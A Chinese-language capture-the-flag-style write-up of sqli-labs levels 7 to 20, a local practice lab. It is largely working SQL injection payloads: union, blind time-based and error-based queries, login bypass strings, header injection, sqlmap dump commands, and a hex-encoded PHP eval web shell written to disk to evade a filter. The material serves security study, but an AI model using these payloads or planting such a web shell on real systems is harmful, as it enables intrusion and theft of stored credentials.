sqlilabs1-20关wp1
Less-1到Less-6略
Less-7
今天看wp,研究了一下判断整数型字符型的原理
感觉一种是根据回显的报错判断,另一种就是想办法拿到源代码,直接看语句判断
这里整形就是没有引号和括号包裹的,字符型就是由单双引号和括号组合包裹
整形的判断另外有方法
可以看之前的博客我现在不愿找
字符型判断
直接分别输入单双引号,报错则是该引号包裹
然后再测试括号后面一个括号一个括号加,记得加上注释,不报错的时候就对了
这题第七关则是一个单引号加上两个括号'))
然后这题具体做法就是利用sql语句传马
这题经过多次测试
首要要注意路径需要加上转义符\
@@datadir
返回的是数据库存储数据的路径
http://localhost/sqli/Less-1/?id=-1%27union%20select%201,2,@@datadir%20%23
读写权限测试
http://localhost/sqli/Less-7/?id=1%27))%20and%20(select%20count(*)%20from%20mysql.user)%3E0%20%23
返回正常则有读取权限
导出写入结果这里需要在mysql配置文件里加上这句话
secure_file_priv="/"
对文件进行导入导出首先得要有足够的权限,
但是mysql默认不能导入和导出文件,这与secure_file_priv的值有关(默认为null)
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
1、当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
2、当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
3、当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
用以下命令查看secure_file_priv的值show variables like ‘%secure%’;
然后重启mysql
就可以导出查询结果了
http://localhost/sqli/Less-7/?id=1%27))%20union%20select%201,2,3%20into%20outfile%20%22F:\\CTF\\phpstudy\\phpstudy_pro\\WWW\\sqli\\Less-7\\1.txt%22%20%23
接下来有两种做法,第一种就是传马然后连接,第二种是慢慢导出数据
这里貌似传马被防火墙waf过滤了,用16进制编码绕过他
不用加引号,然后前面记得有个0x
?id=1')) union select 1,2,0x3c3f70687020406576616c28245f504f53545b2261646d696e225d293f3e into outfile "F:\\CTF\\phpstudy\\phpstudy_pro\\WWW\\sqli\\Less-7\\ma.php" %23
报错但是能导出来
然后用蚁剑连接试试
这里绕过防火墙卡了很久,问了师姐,查了百度,总之还是要多试试,多查查,多问问
第二种略讲一下
就像这样
这里还要注意 传马 导出文件的时候 他是不能够覆盖原文件的,要么换导出文件的名字,要么删掉再导出,不分文件类型 txt php 都能导出
Less-8
单引号型布尔盲注
直接上脚本,参考他人的博客的,就不放源码,可以去搜
Less-9
这关不管输入什么都返回You are in...........
那就选择用时间盲注了
单引号
这里可以用sqlmap直接注 也可以选择一步一步手注 拿bp跑也行 写脚本都行
这里演示手注的大概过程
数据库长度
数据库名字
数据表个数
数据表长度
这里只查users表,就不查其他的了都是同理
数据表名称
字段个数
这里注意payload
?id=1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,sleep(3),1) --+
下面查数据太多 就给一个payload,直接拿sqlmap跑了
字段长度
?id=1' and if((select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2,sleep(3),1) --+
字段名称
?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,2)='id',sleep(3),1) --+
sqlmap:
python sqlmap.py -u "http://localhost/sqli/Less-9/?id=1" -D security --dump-all
Less-10
双引号的
其他步骤和上一关一样,改成双引号就行
Less-11
11关开始是登录页面了
先尝试万能密码登录
Username :' or 1=1#
Password :123(随便输就行已经注释了)
显示了数据 然后回显登录成功
有回显那么试试联合查询注入
3个字段
' order by 2# //无回显
' order by 3# //报错
测试回显
' union select 1,2#
爆数据库
' union select 1,database()#
爆数据表
' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
爆字段
' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
查数据
' union select 1,group_concat(id,username,password) from security.users#
Less-12
万能密码测试登录发现不对
' or 1=1 #
回显登陆失败
可能不是单引号字符型,测下试试
发现是")闭合型
再试试登录
") or 1=1#
下面的步骤和上一关一样了,就是把单引号改成双引号加括号
Less-13
')型
其他步骤一样
Less-14
"型
Less-15
这下单双引号都不报错,括号也没用
万能密码登录成功了,但是没有任何回显
' or 1=1 #
时间盲注试试
数据库名字长度为8
admin' and if(length(database())=8,sleep(1),1)#
数据库名字:security
admin' and if(substr(database(),1,8)='security',sleep(1),1)#
...下面步骤都一样就是基本的布尔盲注
先抓包 保存信息
然后sqlmap跑
python sqlmap.py -r "C:\Users\宋嘉明\Desktop\123.txt" -p uname --dbs
....
实在不想跑了,太慢了= =
Less-16
")型 其他和15关一样
Less-17
这题有些不一样,进入环境是重置密码界面
输入的是用户名和新密码
先随便试试123,123
直接被骂
因为用户名是admin 这里试试admin,123,回显成功修改密码
因为这关题目是Error based 基于报错
找下哪里会回显报错
',123无回显
admin,'回显
通过报错信息,知道这里是单引号字符型,然后在密码框这里用报错注入
之前整理的报错注入笔记,payload都差不多,下面就不写出来了
报数据库名字
' or extractvalue(1,concat(0x7e,(select database())))#
' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))#
' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))#
这里爆不出来
1' or (select updatexml(1,concat(0x7e,(select id from users)),0x7e))#
那是因为在mysql中一个语句中不能先select表中的某些值,再update这个表。
1' and updatexml(1,concat(0x5c,(select group_concat(id) from (select id from security.users)a),0x5c),1)#
1' and updatexml(1,concat(0x5c,(select group_concat(username) from (select username from security.users)a),0x5c),1)#
1' and updatexml(1,concat(0x5c,(select group_concat(password) from (select password from security.users)a),0x5c),1)#
1' and updatexml(1,concat(0x5c,substr((select group_concat(username) from (select username from security.users)a),31,30),0x5c),1)#
这题可以多研究研究,对于报错注入还不是很熟悉,不是很明白
Less-18
这题又有新变化,有个ip地址
尝试admin,000登录成功,返回了一个文件头信息
通过这关题目结合题目信息可知,这关是文件头注入,这里我们就抓包
在文件头信息后面输入一个单引号'可以看见报错
有报错我们就可以使用报错注入
' and updatexml(1,concat('~',(select database())),1) and '1'='1
' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and '1'='1
' or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and '1'='1
' or updatexml(1,concat('~',substr((select group_concat(id,username,password) from security.users),1,31)),1) and '1'='1
Less-19
上一关在User Agent注入
这一关在Referer注入
做到这一关我里我知道上一关payload的原理了,前后都要闭合使用''两个单引号
payload和上一关都一样
Less-20
同样使用admin,admin登录
这里应该使用cookies注入